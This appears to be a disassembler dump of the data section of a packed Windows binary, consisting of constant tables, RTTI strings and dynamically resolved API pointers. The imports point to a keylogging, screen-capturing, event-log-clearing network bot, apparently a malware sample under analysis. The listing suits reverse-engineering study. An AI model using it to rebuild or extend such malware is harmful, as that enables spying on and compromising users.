dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_4432F8 dd offset off_427D5C ; DATA XREF: .nsp0:00427EDCo
; .nsp0:00427FECo
align 10h
a_?avexception@ db '.?AVexception@@',0
off_443310 dd offset off_427D5C ; DATA XREF: .nsp0:off_427DC8o
; .nsp0:00427E5Co ...
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_443330 dd offset off_427D5C ; DATA XREF: .nsp0:off_427DE0o
; .nsp0:00427E24o ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_443350 dd offset off_427D5C ; DATA XREF: .nsp0:off_427E68o
; .nsp0:00427EACo ...
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
off_443370 dd offset off_427D5C ; DATA XREF: .nsp0:off_427EE8o
; .nsp0:00427F24o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42456C
align 10h
dword_443390 dd 2 dup(0) byte_443398 db 0 ; DATA XREF: sub_401135+62o
; .nsp0:004039BDo ...
align 10h
dword_4433A0 dd 0 ; .nsp0:004026A9r ...
dd 5 dup(0)
dword_4433B8 dd 0 ; sub_4156AE+60r
dd 2D9h dup(0)
dword_443F20 dd 0 ; .nsp0:004079C4r ...
dd 7Fh dup(0)
dword_444120 dd 0 ; sub_40B149+40w ...
dword_444124 dd 0 ; sub_40B149+46w ...
dword_444128 dd 0 ; sub_40B149+3Ar ...
dword_44412C dd 0 ; sub_4018A1+B9w ...
dword_444130 dd 0 ; sub_40B32A+2Aw ...
dword_444134 dd 0 ; .nsp0:00402527w ...
byte_444138 db 0 ; DATA XREF: sub_4018A1+91o
; .nsp0:0040780Ar ...
align 4
dd 585h dup(0)
dword_445750 dd 2A3Fh dup(0) db 0
byte_45004D db 3 dup(0) ; DATA XREF: .nsp0:0043FD30o
dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .nsp0:off_440788o
dd 0E304h dup(0)
dword_490054 dd 947Ch dup(0) ; .nsp0:00439B65o
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .nsp0:off_4405F4o
dd 6F36h dup(0)
dword_4D0F20 dd 0 ; sub_40B00E+13o ...
dword_4D0F24 dd 0 ; .nsp0:loc_4044D7r ...
dd 59h dup(0)
dword_4D108C dd 0 ; .nsp0:loc_403C41r ...
dd 2 dup(0)
dword_4D1098 dd 0 ; .nsp0:00401DEBr
byte_4D109C db 0 ; DATA XREF: sub_401A09+10r
; sub_401A09+23o
align 10h
dword_4D10A0 dd 0 dword_4D10A4 dd 0 dword_4D10A8 dd 0 ; sub_40C8B0+13o ...
dword_4D10AC dd 0 ; resolved to->GDI32.DeleteDC ; sub_409A6D+4EBr ...
dword_4D10B0 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419F45+166r
dword_4D10B4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_409A6D+880r ...
dword_4D10B8 dd 0 ; sub_409A6D+A43r ...
dword_4D10BC dd 0 ; sub_409A6D+A13r ...
dword_4D10C0 dd 0 ; resolved to->GDI32.SelectObject ; sub_409A6D+4DBr ...
dword_4D10C4 dd 0 ; resolved to->USER32.GetKeyState ; sub_409A6D+234r ...
dword_4D10C8 dd 0 ; sub_409A6D+A3Br ...
dword_4D10CC dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_409A6D+3C7r ...
dword_4D10D0 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B2E4+11Er
dword_4D10D4 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_409A6D+3CFr ...
dword_4D10D8 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_419533+ADr
dword_4D10DC dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40F891+115r ...
dword_4D10E0 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_409A6D+D2r ...
dword_4D10E4 dd 0 ; sub_409A6D+A06r ...
dword_4D10E8 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_409A6D+3E7r ...
dword_4D10EC dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_409A6D+8ACr ...
dword_4D10F0 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_409A6D+2F0r ...
dword_4D10F4 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_409A6D+8A4r ...
dword_4D10F8 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4D10FC dd 0 ; resolved to->WININET.InternetReadFile ; sub_409A6D+8B4r ...
dword_4D1100 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_409A6D+6D0r ...
dword_4D1104 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_409A6D+CAr ...
dword_4D1108 dd 0 ; resolved to->IPHLPAPI.IcmpSendEchodword_4D110C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_409A6D+A95w ...
dword_4D1110 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_409A6D+F2r
dword_4D1114 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_409A6D+4D3r ...
dword_4D1118 dd 0 ; resolved to->WS2_32.ntohl ; sub_40BEB3+20r ...
dword_4D111C dd 0 ; sub_409A6D+A33r
dword_4D1120 dd 0 ; resolved to->WS2_32.ntohs ; sub_409A6D+754r ...
dword_4D1124 dd 0 ; sub_40B209+3Do
dword_4D1128 dd 0 dword_4D112C dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_409A6D+86Dr
dword_4D1130 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_418AE3+15r
dword_4D1134 dd 0 ; sub_409A6D+A1Br ...
dword_4D1138 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_409A6D+3D7r ...
dword_4D113C dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_409A6D+3DFr ...
dword_4D1140 dd 0 ; sub_409A6D+C8Cr ...
dword_4D1144 dd 0 ; resolved to->WS2_32.getpeername ; .nsp0:00410E91r
dword_4D1148 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401135+23r ...
dword_4D114C dd 0 ; resolved to->GDI32.DeleteObject ; .nsp0:00415BBDr
dword_4D1150 dd 0 ; sub_409A6D+A4Br ...
dword_4D1154 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_409A6D+2B2w ...
dword_4D1158 dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_409A6D+DAr ...
dword_4D115C dd 0 ; resolved to->SHELL32.ShellExecuteA ; .nsp0:00409417r ...
dword_4D1160 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_409A6D+533w ...
dword_4D1164 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_409A6D+890r ...
dword_4D1168 dd 0 ; sub_409A6D+A23r
dword_4D116C dd 0 ; sub_409A6D+C3Fr ...
dword_4D1170 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418C8D+47r
dword_4D1174 dd 0 ; resolved to->USER32.GetForegroundWindow ; .nsp0:00412336r ...
dword_4D1178 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409A6D+92Er
dword_4D117C dd 0 dword_4D1180 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418C8D+4Fr
dword_4D1184 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_409A6D+6E8r ...
dword_4D1188 dd 0 ; resolved to->WININET.InternetOpenA ; sub_409A6D+873r
dword_4D118C dd 0 ; resolved to->USER32.GetWindowTextA ; sub_409A6D+23Cr ...
dword_4D1190 dd 0 ; resolved to->USER32.IsWindow ; sub_409A6D+1C2r ...
dword_4D1194 dd 0 ; resolved to->WS2_32.getsockname ; .nsp0:0040752Ar ...
dword_4D1198 dd 0 ; resolved to->WS2_32.connect ; .nsp0:00406BF5r ...
dword_4D119C dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_409A6D+6DCr ...
dword_4D11A0 dd 0 ; sub_409A6D:loc_40A366w ...
dword_4D11A4 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_409A6D+28Bw ...
dword_4D11A8 dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_409A6D+69Fw ...
dword_4D11AC dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_409A6D+341r ...
dword_4D11B0 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_409A6D+3EFr ...
dword_4D11B4 dd 0 ; sub_409A6D+C37r ...
dword_4D11B8 dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_409A6D+888r ...
dword_4D11BC dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_409A6D+227r ...
dword_4D11C0 dd 0 ; resolved to->USER32.OpenClipboard ; sub_409A6D+1D2r ...
dword_4D11C4 dd 0 ; resolved to->WININET.InternetConnectA ; sub_409A6D+898r ...
dword_4D11C8 dd 0 ; resolved to->WSOCK32.recvfrom ; sub_409A6D+774r
dword_4D11CC dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409A6D+2BFw ...
dword_4D11D0 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_409A6D+79Cr ...
dword_4D11D4 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_409A6D+334r ...
dword_4D11D8 dd 0 ; resolved to->WS2_32.select ; sub_409A6D+784r ...
dword_4D11DC dd 0 ; resolved to->GDI32.CreateDCA ; sub_409A6D+4AEr ...
dword_4D11E0 dd 0 ; resolved to->USER32.GetClipboardData ; sub_409A6D+1DAr ...
dword_4D11E4 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_409A6D+3BAr ...
dword_4D11E8 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4D11EC dd 0 ; resolved to->WS2_32.ntohl ; sub_409A6D+748r ...
dword_4D11F0 dd 0 ; resolved to->WS2_32.ntohs ; .nsp0:00406BA7r ...
dword_4D11F4 dd 0 ; resolved to->KERNEL32.Process32First ; sub_409A6D+C2r ...
dword_4D11F8 dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_409A6D+4CBr ...
dword_4D11FC dd 0 ; resolved to->USER32.FindWindowA ; sub_409A6D+1BAr ...
dword_4D1200 dd 0 ; sub_409A6D+A5Br ...
dword_4D1204 dd 0 ; resolved to->WS2_32.gethostname ; sub_409A6D+7ACr ...
dword_4D1208 dd 0 ; resolved to->WSOCK32.recv ; .nsp0:00406C0Ar ...
dword_4D120C dd 0 ; sub_409A6D+C47r ...
dword_4D1210 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_409A6D+BAr ...
dword_4D1214 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_409A6D+298w ...
dword_4D1218 dd 0 ; resolved to->WS2_32.listen ; sub_409A6D+78Cr ...
dword_4D121C dd 0 ; resolved to->WS2_32.bind ; sub_409A6D+77Cr ...
dword_4D1220 dd 0 ; sub_409A6D+C92w
dword_4D1224 dd 0 ; resolved to->WININET.InternetCloseHandle ; .nsp0:00416EDEr ...
dword_4D1228 dd 0 dword_4D122C dd 0 ; sub_409A6D+C22r ...
dword_4D1230 dd 0 ; resolved to->WS2_32.inet_addr ; .nsp0:004079F5r ...
dword_4D1234 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_409A6D+4BBr ...
dword_4D1238 dd 0 ; resolved to->GDI32.BitBlt ; sub_409A6D+4E3r ...
dword_4D123C dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_409A6D+4C3r ...
dword_4D1240 dd 0 ; resolved to->WS2_32.send ; .nsp0:00406C27r ...
dword_4D1244 dd 0 ; resolved to->USER32.CloseClipboard ; sub_409A6D+1E2r ...
dword_4D1248 dd 0 ; sub_409A6D+A53r ...
dword_4D124C dd 0 ; resolved to->USER32.SendMessageA ; sub_409A6D+1ADr ...
dword_4D1250 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_409A6D+E2r ...
dword_4D1254 dd 0 ; resolved to->WS2_32.sendto ; sub_409A6D+764r ...
dword_4D1258 dd 0 ; sub_409A6D+B5Fr
dword_4D125C dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419EDA+55r
dword_4D1260 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_409A6D+2D3r ...
dword_4D1264 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4D1268 dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40AA8C+CEr
dword_4D126C dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_409A6D+AE6r ...
dword_4D1270 dd 0 ; resolved to->WS2_32.socket ; .nsp0:00406B86r ...
dword_4D1274 dd 0 ; resolved to->WS2_32.gethostbyname ; .nsp0:004093BDr ...
dword_4D1278 dd 0 ; sub_409A6D+C2Fr ...
dword_4D127C dd 0 ; resolved to->WS2_32.inet_ntoa ; .nsp0:00407550r ...
dword_4D1280 dd 0 ; sub_409A6D+A2Br ...
dword_4D1284 dd 0 ; resolved to->WS2_32.accept ; sub_409A6D+794r ...
dword_4D1288 dd 0 ; resolved to->WS2_32.closesocket ; sub_4018A1+D0r ...
dword_4D128C dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_409A6D+70Cr ...
dword_4D1290 dd 0 ; sub_409A6D+B57r
dword_4D1294 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_409A6D+6C4r ...
dword_4D1298 dd 0 ; sub_409A6D+B4Ar ...
dword_4D129C dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_409A6D+31w ...
dword_4D12A0 dd 0 ; resolved to->USER32.DestroyWindow ; sub_409A6D+1CAr ...
align 8
dword_4D12A8 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409A6D+93Br
dword_4D12AC dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_409A6D+EAr ...
dword_4D12B0 dd 0 ; sub_409A6D+12Bw ...
dword_4D12B4 dd 0 ; sub_40A729+1Cr
dword_4D12B8 dd 0 ; sub_409A6D:loc_409CC2w ...
dword_4D12BC dd 0 ; sub_40A729+50r
dword_4D12C0 dd 0 ; sub_409A6D:loc_409D75w ...
dword_4D12C4 dd 0 ; sub_40A729+84r
dword_4D12C8 dd 0 ; sub_40A729:loc_40A7D9r
dword_4D12CC dd 0 ; sub_40A729+B8r
dword_4D12D0 dd 0 ; sub_40A729:loc_40A80Dr
dword_4D12D4 dd 0 ; sub_40A729+ECr
dword_4D12D8 dd 0 ; sub_409A6D+8EFw ...
dword_4D12DC dd 0 ; sub_40A729+120r
dword_4D12E0 dd 0 ; sub_409A6D:loc_40A3C1w ...
dword_4D12E4 dd 0 ; sub_40A729+154r
dword_4D12E8 dd 0 ; sub_409A6D:loc_40A4DDw ...
dword_4D12EC dd 0 ; sub_40A729+188r
dword_4D12F0 dd 0 ; sub_40A729:loc_40A8DDr
dword_4D12F4 dd 0 ; sub_40A729+1BCr
dword_4D12F8 dd 0 ; sub_40A729:loc_40A911r
dword_4D12FC dd 0 ; sub_40A729+1F0r
dword_4D1300 dd 0 ; sub_40A729:loc_40A945r
dword_4D1304 dd 0 ; sub_40A729+224r
dword_4D1308 dd 0 ; sub_40A729:loc_40A979r
dword_4D130C dd 0 ; sub_40A729+258r
dword_4D1310 dd 0 ; sub_40A729:loc_40A9ADr
dword_4D1314 dd 0 ; sub_40A729+28Cr
dword_4D1318 dd 0 ; sub_40A729:loc_40A9E1r
dword_4D131C dd 0 ; sub_40A729+2C0r
dword_4D1320 dd 8 dup(0) dword_4D1340 dd 0 ; sub_40BEFB+92w ...
dword_4D1344 dd 0 ; .nsp0:0040C321w ...
dd 7FEh dup(0)
dword_4D3340 dd 6 dup(0) ; sub_40C034+138o ...
dword_4D3358 dd 0 ; sub_40B9DD+348o
dword_4D335C dd 0 ; sub_40B9DD+35Ar
dword_4D3360 dd 0 dword_4D3364 dd 0 ; sub_40B9DD:loc_40BCF2r
dword_4D3368 dd 20h dup(0) ; sub_40B9DD+302o
dword_4D33E8 dd 0 dword_4D33EC dd 0 ; sub_40B9DD+30Fw
dword_4D33F0 dd 0 align 8
dword_4D33F8 dd 0 ; sub_40B9DD+101o
dword_4D33FC dd 41h dup(0) dword_4D3500 dd 41h dup(0) dword_4D3604 dd 0 ; sub_40B9DD+113r
dword_4D3608 dd 0 dword_4D360C dd 0 ; sub_40B9DD+D4r
dword_4D3610 dd 20h dup(0) ; sub_40B9DD+BAo
dword_4D3690 dd 0 dword_4D3694 dd 0 ; sub_40B9DD+C7w
dword_4D3698 dd 0 align 10h
dword_4D36A0 dd 0 ; sub_40B9DD+225o
dword_4D36A4 dd 41h dup(0) dword_4D37A8 dd 41h dup(0) dword_4D38AC dd 0 ; sub_40B9DD+237r
dword_4D38B0 dd 0 dword_4D38B4 dd 0 ; sub_40B9DD+1F8r
dword_4D38B8 dd 20h dup(0) ; sub_40B9DD+1DEo
dword_4D3938 dd 0 dword_4D393C dd 0 ; sub_40B9DD+1EBw
dword_4D3940 dd 0 align 8
dword_4D3948 dd 0 ; sub_40B9DD+470o
dword_4D394C dd 0A2h dup(0) dword_4D3BD4 dd 41h dup(0) dword_4D3CD8 dd 0 ; sub_40B9DD+423r
align 10h
dword_4D3CE0 dd 0 ; sub_40B9DD+482r
dword_4D3CE4 dd 0 dword_4D3CE8 dd 0 dword_4D3CEC dd 0 dd 0
dword_4D3CF4 dd 0 dd 0
dword_4D3CFC dd 0 ; sub_40B630+31r
dword_4D3D00 dd 0 ; sub_40B630+25r ...
dword_4D3D04 dd 82h dup(0) dword_4D3F0C dd 2 dup(0) dword_4D3F14 dd 0 ; .nsp0:0040DEB5o
dd 0
dword_4D3F1C dd 2 dup(0) ; sub_40E7D2+EAo
dword_4D3F24 dd 0 dd 0
dd 0
dword_4D3F30 dd 0 dword_4D3F34 dd 0 ; .nsp0:0040ECCCr
dd 0
dword_4D3F3C dd 0 dd 0
dword_4D3F44 dd 0 dword_4D3F48 dd 0 ; sub_40F77A+51r ...
dd 3 dup(0)
dword_4D3F58 dd 0 align 10h
dword_4D3F60 dd 0 ; .nsp0:0041295Co
dd 7Bh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: .nsp0:off_43FB18o
dd 8Dh dup(0)
dword_4D4388 dd 188h dup(0) ; .nsp0:loc_404B12o ...
dword_4D49A8 dd 0 ; .nsp0:00404A5Br ...
dd 3 dup(0)
byte_4D49B8 db 0 ; DATA XREF: .nsp0:00415469o
; .nsp0:00415478w ...
byte_4D49B9 db 0 ; DATA XREF: .nsp0:0041548Cw
word_4D49BA dw 0 ; DATA XREF: .nsp0:004154BDw
word_4D49BC dw 0 ; DATA XREF: .nsp0:004154A4w
; .nsp0:loc_4155FAw
word_4D49BE dw 0 ; DATA XREF: .nsp0:004154C3w
byte_4D49C0 db 0 ; DATA XREF: .nsp0:004154B0w
byte_4D49C1 db 0 ; DATA XREF: .nsp0:00415485w
word_4D49C2 dw 0 ; DATA XREF: .nsp0:0041561Aw
; .nsp0:00415644w
dword_4D49C4 dd 0 ; .nsp0:004155C2r
dword_4D49C8 dd 0 word_4D49CC dw 0 ; DATA XREF: .nsp0:004155BCw
; .nsp0:00415610o
word_4D49CE dw 0 ; DATA XREF: .nsp0:0041555Dw
; .nsp0:00415582r ...
dword_4D49D0 dd 0 ; .nsp0:00415601w
dword_4D49D4 dd 0 ; .nsp0:004155D3w ...
byte_4D49D8 db 0 ; DATA XREF: .nsp0:00415539r
; .nsp0:00415547w
byte_4D49D9 db 0 ; DATA XREF: .nsp0:00415503w
; .nsp0:004155CCw ...
word_4D49DA dw 0 ; DATA XREF: .nsp0:00415511w
word_4D49DC dw 0 ; DATA XREF: .nsp0:00415621w
; .nsp0:00415652w
word_4D49DE dw 0 ; DATA XREF: .nsp0:00415556w
word_4D49E0 dw 0 ; DATA XREF: .nsp0:00415588w
; .nsp0:0041565Ao
word_4D49E2 dw 0 ; DATA XREF: .nsp0:00415597w
; .nsp0:00415631w
dword_4D49E4 dd 0 align 10h
dword_4D49F0 dd 0 ; .nsp0:0041563Fo
dword_4D49F4 dd 0 byte_4D49F8 db 0 ; DATA XREF: .nsp0:00415569w
byte_4D49F9 db 0 ; DATA XREF: .nsp0:0041556Fw
word_4D49FA dw 0 ; DATA XREF: .nsp0:0041557Cw
dword_4D49FC dd 7 dup(0) dword_4D4A18 dd 0 ; .nsp0:00415663r
dword_4D4A1C dd 100h dup(0) ; .nsp0:004156A6o
dword_4D4E1C dd 0B3h dup(0) ; sub_415846o ...
dword_4D50E8 dd 0F4Dh dup(0) dword_4D8E1C dd 0 ; sub_415846+Eo ...
dword_4D8E20 dd 0 ; sub_415DEA+12r
align 8
dword_4D8E28 dd 0Eh dup(0) dword_4D8E60 dd 80h dup(0) dword_4D9060 dd 200h dup(0) ; .nsp0:0041794Fo ...
dword_4D9860 dd 200h dup(0) ; .nsp0:00417966o ...
dword_4DA060 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_4176E9+94r
dword_4DA064 dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417B4F+55r ...
dword_4DA068 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_4176E9+D6r ...
dword_4DA06C dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_4176E9+35r ...
dword_4DA070 dd 80h dup(0) dword_4DA270 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_4176E9+A2r
align 8
dword_4DA278 dd 0 ; sub_417517+103r ...
dword_4DA27C dd 0 ; sub_417A19+107w
dword_4DA280 dd 0 ; sub_417A19+10Dw ...
dword_4DA284 dd 0 ; sub_417B4F+4Fr
dword_4DA288 dd 0 ; sub_417EC3:loc_418045w ...
dword_4DA28C dd 0 ; sub_417D85+12o ...
dd 0
dword_4DA294 dd 0 ; sub_418065+3Ar
dd 7Fh dup(0)
dword_4DA494 dd 0 ; sub_418065+4Aw
dd 16ECh dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: .nsp0:0043FD1Co
db 3 dup(0)
byte_4E004F db 0 ; DATA XREF: .nsp0:00439359o
; .nsp0:00439B69o
dd 256h dup(0)
dword_4E09A8 dd 0 dword_4E09AC dd 81h dup(0) ; sub_417D85+3Co ...
dword_4E0BB0 dd 17h dup(0) ; sub_419083+131o ...
dword_4E0C0C dd 80h dup(0) ; .nsp0:00419EC1o
dword_4E0E0C dd 0 ; sub_4193FD+4Dr ...
dword_4E0E10 dd 17h dup(0) ; sub_419CE8+12Do
dword_4E0E6C dd 80h dup(0) ; sub_41933E+7Do ...
byte_4E106C db 0 ; DATA XREF: sub_4193FD+29r
; sub_4193FD+34w
align 10h
dword_4E1070 dd 80h dup(0) ; sub_419654+88o ...
dword_4E1270 dd 81h dup(0) ; sub_418F5A+50o ...
dword_4E1474 dd 0 ; .nsp0:0041A3ECr
dword_4E1478 dd 0 ; .nsp0:0041A3CFr ...
dword_4E147C dd 0 ; .nsp0:0041A570o
dword_4E1480 dd 0 dword_4E1484 dd 0Dh dup(0) dword_4E14B8 dd 0 ; .nsp0:0041A4D0r
align 10h
dword_4E14C0 dd 0Eh dup(0) dword_4E14F8 dd 0 ; .nsp0:loc_41D939w ...
dword_4E14FC dd 0 ; sub_41E142:loc_41E1DCw ...
dword_4E1500 dd 0 dword_4E1504 dd 0 dword_4E1508 dd 0 dword_4E150C dd 0 dword_4E1510 dd 0 align 10h
dword_4E1520 dd 0 ; sub_4258F3+9r ...
dword_4E1524 dd 0 dword_4E1528 dd 0 ; sub_425CC1+4r ...
dd 3 dup(0)
byte_4E1538 db 0 ; DATA XREF: sub_41BE83+2Dw
; sub_422608+5r
align 4
dword_4E153C dd 0 dword_4E1540 dd 0 ; sub_41BE83+8Bw
dword_4E1544 dd 0 ; sub_41C794+91w
dd 0
dword_4E154C dd 0 dword_4E1550 dd 0 ; sub_41D721+A4w
align 8
word_4E1558 dw 0 ; DATA XREF: sub_41D721+55r
; sub_41D721+9Ao
word_4E155A dw 0 ; DATA XREF: sub_41D721+48r
db 2 dup(0)
word_4E155E dw 0 ; DATA XREF: sub_41D721+3Br
word_4E1560 dw 0 ; DATA XREF: sub_41D721+2Er
word_4E1562 dw 0 ; DATA XREF: sub_41D721+21r
align 8
dword_4E1568 dd 0 ; sub_422DE6:loc_422DF8r ...
align 10h
dword_4E1570 dd 0 dword_4E1574 dd 0 dword_4E1578 dd 0 ; sub_41BBCBr ...
dword_4E157C dd 0 ; sub_41FEA7+4w ...
dword_4E1580 dd 0 align 8
dword_4E1588 dd 0 ; sub_421942+1Ar ...
byte_4E158C db 0 ; DATA XREF: sub_42183E+3r
; sub_42183E+98r ...
align 10h
dword_4E1590 dd 0 ; sub_421A20+21w ...
byte_4E1594 db 0 ; DATA XREF: sub_421A20+51w
align 4
dword_4E1598 dd 0 ; sub_421FF1+3Ar ...
dword_4E159C dd 0 ; sub_421FF1+43r ...
dword_4E15A0 dd 0 ; sub_421DBD+5r
dword_4E15A4 dd 0 dword_4E15A8 dd 2 dup(0) dword_4E15B0 dd 0 ; sub_41DC7A+6Er ...
align 10h
dword_4E15C0 dd 0 ; sub_41DF04+BFr ...
align 8
dword_4E15C8 dd 0 ; sub_4202AB:loc_4202D4w ...
dword_4E15CC dd 0 ; .nsp0:00422A07w ...
dword_4E15D0 dd 0 ; .nsp0:00422C50w ...
dword_4E15D4 dd 41h dup(0) dword_4E16D8 dd 0 ; sub_4230EC+23w ...
dword_4E16DC dd 0 dword_4E16E0 dd 0 dword_4E16E4 dd 0 ; .nsp0:loc_423BB9w
word_4E16E8 dw 0 ; DATA XREF: sub_424449+1Ao
; sub_424449+46r
byte_4E16EA db 0 ; DATA XREF: sub_424449+39r
align 4
dword_4E16EC dd 7 dup(0) dword_4E1708 dd 0 ; sub_424449+5Co
dword_4E170C dd 0 dword_4E1710 dd 0 dword_4E1714 dd 0 dword_4E1718 dd 0 ; sub_42456C+38r ...
align 10h
dword_4E1720 dd 0 ; sub_42464C+63w ...
align 8
dword_4E1728 dd 0 ; sub_42464C+46r
dword_4E172C dd 10h dup(0) word_4E176C dw 0 ; DATA XREF: sub_4248AA+A8r
word_4E176E dw 0 ; DATA XREF: sub_42464C+54r
; sub_4248AA+DBr ...
word_4E1770 dw 0 ; DATA XREF: sub_4248AA+CAr
word_4E1772 dw 0 ; DATA XREF: sub_4248AA+D3r
; sub_4248AA:loc_42499Cr
word_4E1774 dw 0 ; DATA XREF: sub_4248AA+C0r
word_4E1776 dw 0 ; DATA XREF: sub_4248AA+B8r
word_4E1778 dw 0 ; DATA XREF: sub_4248AA+B0r
word_4E177A dw 0 ; DATA XREF: sub_4248AA+9Er
dword_4E177C dd 0 dword_4E1780 dd 10h dup(0) word_4E17C0 dw 0 ; DATA XREF: sub_4248AA+46r
word_4E17C2 dw 0 ; DATA XREF: sub_42464C:loc_4246C3r
; sub_4248AA+78r ...
word_4E17C4 dw 0 ; DATA XREF: sub_4248AA+67r
word_4E17C6 dw 0 ; DATA XREF: sub_4248AA+70r
; sub_4248AA:loc_42492Er
word_4E17C8 dw 0 ; DATA XREF: sub_4248AA+5Dr
word_4E17CA dw 0 ; DATA XREF: sub_4248AA+55r
word_4E17CC dw 0 ; DATA XREF: sub_4248AA+4Dr
word_4E17CE dw 0 ; DATA XREF: sub_4248AA+3Er
dword_4E17D0 dd 0 dword_4E17D4 dd 0 ; sub_42464C:loc_424798r ...
dword_4E17D8 dd 0 dword_4E17DC dd 0 ; resolved to->USER32.MessageBoxA ; .nsp0:00424CDBw ...
dword_4E17E0 dd 0 ; resolved to->USER32.GetActiveWindow ; .nsp0:loc_424CFCr
dword_4E17E4 dd 0 ; resolved to->USER32.GetLastActivePopup ; .nsp0:00424D0Dr
dword_4E17E8 dd 0 dword_4E17EC dd 0 ; sub_425781+6Do
dword_4E17F0 dd 0 ; sub_425781+44o
dword_4E17F4 dd 0 ; sub_425781+37o
dword_4E17F8 dd 0 ; sub_425781+51o
align 10h
dword_4E1800 dd 0 ; sub_425D2F+48w ...
dword_4E1804 dd 0 ; .nsp0:00426866w ...
dword_4E1808 dd 0 ; .nsp0:loc_426B0Fw
byte_4E180C db 0 ; DATA XREF: sub_40D78Er sub_40D78E+9w ...
align 10h
dd 4 dup(0)
dword_4E1820 dd 0 ; sub_41EF81+2Ar ...
dd 3Fh dup(0)
